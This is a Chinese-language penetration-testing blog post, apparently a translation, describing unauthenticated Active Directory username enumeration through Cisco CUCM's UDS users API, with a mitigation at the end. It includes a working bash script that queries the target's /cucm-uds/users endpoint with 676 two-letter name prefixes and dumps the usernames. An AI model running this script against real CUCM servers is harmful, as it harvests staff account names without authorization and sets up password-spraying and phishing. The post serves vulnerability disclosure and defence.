通过Cisco统一通信管理器(CUCM)实现未授权用户名枚举的技术分析

本文详细分析了Cisco统一通信管理器(CUCM)中存在的未授权访问漏洞,通过UDS API可枚举Active Directory用户名,包含技术细节、利用脚本和缓解措施。

通过Cisco统一通信管理器(CUCM)实现未授权用户名枚举

发布日期:2022年1月29日
作者:n00py
分类:漏洞利用/渗透测试/研究

最近在使用SeeYouCM Thief工具(用于从Cisco电话系统下载解析配置文件)时,我在配置文件中发现了一个有趣的现象。配置文件中存在一个名为<secureUDSUsersAccessURL>的XML元素,其值指向https://cucm_server:8443/cucm-uds/users。令人惊讶的是,直接访问该URL会返回包含大量Active Directory用户的XML文档,这引发了我的进一步研究兴趣。

技术背景

根据Cisco官方文档:

用户数据服务(UDS) API是一套基于REST的操作,提供对统一通信配置数据库中用户资源和实体(如用户设备、订阅服务、速拨号等)的认证访问。

值得注意的是,我能够在无需认证的情况下获取这些数据。关于认证要求,Cisco说明:

许多(但非全部)UDS API请求需要认证访问。使用CUCM管理员创建的终端用户账户来进行需要认证的API调用。

这意味着虽然某些API资源需要认证,但许多其他资源(包括users API)并不需要。

漏洞详情

users资源提供搜索功能,用于查找存储在Cisco Unified CM数据库中的用户。通常情况下(如我的客户案例),该数据库通过LDAP/LDAPS直接连接到Active Directory。

从API提取数据相对简单,但存在一些限制:

  • 默认情况下,API调用最多返回64条结果
  • 如果搜索结果超过指定数量,仅返回部分结果(达到搜索限制)
  • 要枚举超过前64条记录,需要通过查询字符串参数进行多次查询过滤

利用技术

可以通过姓名、名字、姓氏、电话号码、用户名、电子邮件等字段进行过滤。我发现按姓名过滤最有效,因为并非所有条目都包含其他属性的值。

借鉴MailSniper的GAL转储功能,我决定通过请求字母表中的两个字母组合来缩小范围,确保每个查询的结果不超过64条限制。这将产生26*26(676)次查询。

使用这种技术,我编写脚本在约53秒内恢复了约10,000个Active Directory用户名。该Active Directory环境共有11,777个用户,恢复率达到85%。对于不到1分钟的枚举时间来说,这个结果相当不错。环境越小,恢复率越高。虽然可以通过额外查询提高恢复率,但就我的目的而言,这已经足够。

自动化脚本

虽然可以使用bash单行命令完成整个过程,但我还是创建了一个小型shell脚本来自动化整个过程:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
if [ $# -eq 0 ]
  then
    echo "Please provide a hostname or IP Address"
    exit 1
fi

echo -n "Detected CUCM Version: "
curl "https://$1:8443/cucm-uds/version" -k -s | xml_grep version --text_only

echo 'Please wait just a moment...'

for x in {a..z}
  do for y in {a..z}
    do curl "https://$1:8443/cucm-uds/users?name=$x$y" -k -s | xml_grep userName --text_only
  done
done | sort -u > cucm_users.txt

echo "User dump complete!"

此外,该功能现已移植到SeeYouCM Thief工具中,只需在针对CUCM服务器时使用--userenum标志即可。

缓解措施

2022年3月1日更新: 要缓解此漏洞,请启用联系人搜索认证(Contact Search Authentication)。

启用联系人搜索认证的完整步骤: https://www.cisco.com/c/en/us/td/docs/voice_ip_comm/cucm/rel_notes/11_5_1/cucm_b_release-notes-cucm-imp-1151/cucm_b_release-notes-cucm-imp-1151_chapter_010.html#task_AE831C159B03176B3451FB5834A5C0B0

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计